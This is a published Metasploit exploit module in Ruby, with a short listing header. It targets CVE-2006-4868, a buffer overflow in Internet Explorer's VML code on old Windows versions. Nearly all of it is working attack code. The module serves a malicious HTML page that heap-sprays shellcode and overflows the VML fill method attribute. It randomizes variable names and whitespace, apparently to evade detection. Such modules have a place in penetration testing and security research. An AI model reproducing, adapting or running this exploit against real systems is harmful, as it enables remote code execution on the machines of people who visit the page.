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Internet Explorer VML Fill Method Code Execution

Internet Explorer VML Fill Method Code Execution
Posted Nov 26, 2009
Authored by H D Moore, Aviv Raff, Trirat Puttaraksa, Mr.Niega, M. Shirk | Site metasploit.com

This Metasploit module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This Metasploit module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.

tags | exploit, overflow, code execution
systems | windows
advisories | CVE-2006-4868
SHA-256 | dc3cd815cea490d0b9d3e5420cb08f039d38532b17c625f368c3079ec2fe492d

Internet Explorer VML Fill Method Code Execution

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer VML Fill Method Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in Microsoft Internet Explorer using
a buffer overflow in the VML processing code (VGX.dll). This module has been tested on
Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
'Aviv Raff <avivra [at] gmail.com>',
'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>',
'Mr.Niega <Mr.Niega [at] gmail.com>',
'M. Shirk <shirkdog_list [at] hotmail.com>'
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-4868' ],
['OSVDB', '28946' ],
['MSB', 'MS06-055' ],
['BID', '20096' ],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
['Windows NT 4.0 -> Windows 2003 SP1', {'Ret' => 0x0c0c0c0c} ]
],
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Determine the buffer length to use
buflen = 1024
if (request.headers['User-Agent'] =~ /Windows 5\.[123]/)
buflen = 65535
end

# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Get a unicode friendly version of the return address
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]

# Select a random VML element to use
vmls = %w{ rect roundrect line polyline oval image arc curve }
vmlelem = vmls[ rand(vmls.length) ]

# The overflow buffer for the method attribute
buffer = ("&#x" + addr_word + ";") * buflen

# Generate a random XML namespace for VML
xmlns = rand_text_alpha(rand(30)+2)

# Randomize the javascript variable names
var_buffer = rand_text_alpha(rand(30)+2)
var_shellcode = rand_text_alpha(rand(30)+2)
var_unescape = rand_text_alpha(rand(30)+2)
var_x = rand_text_alpha(rand(30)+2)
var_i = rand_text_alpha(rand(30)+2)

# Build out the message
content = %Q|
<html xmlns:#{xmlns} = " urn:schemas-microsoft-com:vml " >
<head>
<style> #{xmlns}\\:* { behavior: url(#default#VML) ; } </style>
<body>
<script>

var #{var_unescape} = unescape ;
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ;

var #{var_x} = new Array() ;
for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) {
#{var_x}[ #{var_i} ] =
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
}

</script>
<#{xmlns}:#{vmlelem}>
<#{xmlns}:fill method = "#{buffer}" />
</#{xmlns}:#{vmlelem}>

</body>
</html>
|

content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end
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